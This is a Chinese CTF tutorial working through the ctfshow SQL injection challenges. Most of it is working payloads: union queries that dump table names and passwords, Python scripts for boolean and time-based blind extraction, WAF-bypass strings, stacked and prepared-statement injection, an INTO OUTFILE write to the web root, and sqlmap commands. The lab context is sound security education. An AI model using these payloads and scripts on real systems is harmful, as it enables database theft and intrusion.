php代码审计前奏之ctfshow之sql注入上
字数 1282 2025-08-15 21:33:48
CTFSHOW SQL注入全解教程
一、基础SQL注入
1. 无过滤注入 (Web171-172)
漏洞代码:
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
利用方法:
- 确定字段数:
1' order by 3--+ - 联合查询:
-1' union select 1,2,3--+ - 获取数据库信息:
- 库名:
-1' union select 1,2,database()--+ - 表名:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ - 列名:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' and table_schema=database()--+ - 数据:
-1' union select 1,2,group_concat(id,username,password,0x7e) from ctfshow_user--+
- 库名:
2. HEX编码绕过 (Web173)
过滤条件:
if(!preg_match('/flag/i', json_encode($ret)))
绕过方法:
使用HEX编码: -1' union select 1,2,hex(group_concat(username,password)) from ctfshow_user3--+
二、盲注技术
1. 布尔盲注 (Web174)
脚本示例:
import requests
url = "http://target/api/v4.php?id=1' and "
headers = {"User-Agent": "Mozilla/5.0"}
i = 0
result = ""
while True:
i += 1
for j in range(127):
payload = f"ascii(substr((select password from ctfshow_user4 where username='flag'),{i},1))={j}--+"
response = requests.get(url=url+payload,headers=headers)
if "admin" in response.text:
result += chr(j)
print(result)
break
2. 时间盲注 (Web175)
利用方法:
1' and sleep(5)--+
脚本示例:
import requests
import time
url = "http://target/api/v5.php?id=1' and "
headers = {"User-Agent": "Mozilla/5.0"}
i = 0
result = ""
while True:
i += 1
for j in range(127):
payload = f"if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1))={j},sleep(5),0)--+"
start = time.time()
response = requests.get(url=url+payload,headers=headers)
if time.time() - start > 5:
result += chr(j)
print(result)
break
3. 文件写入 (Web175)
利用方法:
1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
三、绕过过滤技巧
1. 大小写绕过 (Web176)
过滤条件: 简单WAF
绕过方法:
-1' UnION sELect 1,2,3--+
2. 注释绕过空格 (Web177)
过滤条件: 空格被过滤
绕过方法:
1'/**/or/**/1%23
1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
3. Tab绕过空格 (Web178)
绕过方法:
1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username='flag'%23
4. 正则匹配绕过 (Web183)
过滤条件:
preg_match('/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i', $str);
绕过方法:
tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('f'))
四、堆叠注入
1. 基础堆叠注入 (Web225)
利用方法:
1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
2. 预编译绕过 (Web226)
过滤条件: 过滤了select等关键词
绕过方法:
1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE name;
五、SQLMap高级用法
1. 基础使用
python2 sqlmap.py -u "http://target/api/?id=1" --referer="ctf.show" --dbs --batch
2. POST请求
python2 sqlmap.py -u "http://target/api/" --data="id=1" --referer="ctf.show" --dbs --batch
3. PUT请求
python2 sqlmap.py -u "http://target/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump --batch
4. Tamper脚本
python2 sqlmap.py -u "http://target/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --tamper=space2comment --batch
六、时间盲注替代方案
1. BENCHMARK (Web217)
1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,BENCHMARK(21111111,1+1),0)and (1=1
2. RLIKE (Web218)
select rpad('a',2,'a') RLIKE concat(repeat('(a.*)+',2222222),'b');
3. 笛卡尔积 (Web219)
if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
七、特殊注入场景
1. LIMIT注入 (Web221)
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
2. GROUP BY注入 (Web222)
if((1=2),username,0)
3. UPDATE注入 (Web231)
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())where 1#&username=1#
4. 单引号逃逸 (Web234)
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
八、实用脚本
1. 二分法盲注脚本
import requests
url = "http://target/api/"
payload = "if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
i = 0
result = ""
while True:
i += 1
head = 0
tail =127
while head<tail:
mid = (head+tail)//2
data = {"debug":1, "ip":payload.format(i,mid)}
try:
response = requests.post(url=url,data=data,timeout=2)
tail = mid
except:
head = mid+1
if head == 0: break
result += chr(head)
print(result.lower())
2. 预编译十六进制生成
import base64
def str_to_hex(sql):
return sql.encode('utf-8').hex()
print(str_to_hex("select * from ctfshow_flagasa"))
本教程涵盖了从基础SQL注入到高级绕过技术的全面内容,包括各种注入场景下的利用方法和自动化脚本。关键点包括:注入点识别、信息收集、绕过技术、盲注方法和工具使用等。